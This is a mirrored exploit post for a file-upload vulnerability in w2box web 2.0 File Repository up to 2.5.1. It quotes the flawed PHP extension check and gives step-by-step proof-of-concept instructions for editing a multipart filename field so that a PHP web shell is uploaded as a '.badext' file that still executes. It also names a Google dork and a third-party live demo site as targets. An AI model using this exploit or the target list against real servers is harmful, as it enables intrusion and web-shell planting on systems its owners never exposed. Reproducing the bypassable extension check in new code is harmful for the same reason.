Lucene search
K

w2box web 2.0 File Repository <= 2.5.1 Shell upload

🗓️ 28 Aug 2011 00:00:00Reported by N3t.Crack3rType 
zdt
 zdt
🔗 0day.today👁 61 Views

w2box web 2.0 File Repository <= 2.5.1 Shell upload vulnerability information and dem

Code
# Exploit Title: [w2box: web 2.0 File Repository <= 2.5.1 Shell upload]
# Date: [28/08/2011]
# Author: [N3t.Crack3r]
# Vendor or Software Link: [http://clement.beffa.org/labs/projects/w2box/]
# Version: [<= 2.5.1]
# Category:: [ webapps]
# Google dork: [Powered by w2box, using valid xhtml & css.]
# Tested on: [Linux,Windows]
# Demo site: [http://www.eradobrasfoot.com/upload/]


===================================================================
w2box: web 2.0 File Repository <= 2.5.1 Shell upload
===================================================================

----------------------------------
    Vulnerability Code:

$filename=$file['name'];
    if (isset($_POST['filename']) && $_POST['filename']!="") $filename=$_POST['filename'];
    $filename=str_replace(" ","_",$filename);
    $filename=basename($filename);
    if (!in_array(strtolower(extname($filename)), $config['allowed_ext'])) $filename .= ".badext";


----------------------------------
    POC :

# 1 : Go to http://localhost/w2box/
# 2 : Select File GIF Format  (EG : Shell.php.gif)
# 3 : Run Live HTTP Headers and Upload
# 4 : Then Replay HTTP HEADER and Change :

Content-Disposition: form-data; name="filename"\r\n
\r\n
Shell.php.gif\r\n

TO

Content-Disposition: form-data; name="filename"\r\n
\r\n
Shell.php\r\n

.

NOW shell Should be upload as Shell.php.badext in http://localhost/w2box/data/Shell.php.badext
Shell will Run as php
.badext is ignored Auto.


Best of luck.
N3t.crack3r

Shouts : Net_Spy , Sho0ter , And all Hackw0rms Crew
www.hackw0rms.net,www.cyberhaxors.com



#  0day.today [2018-03-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation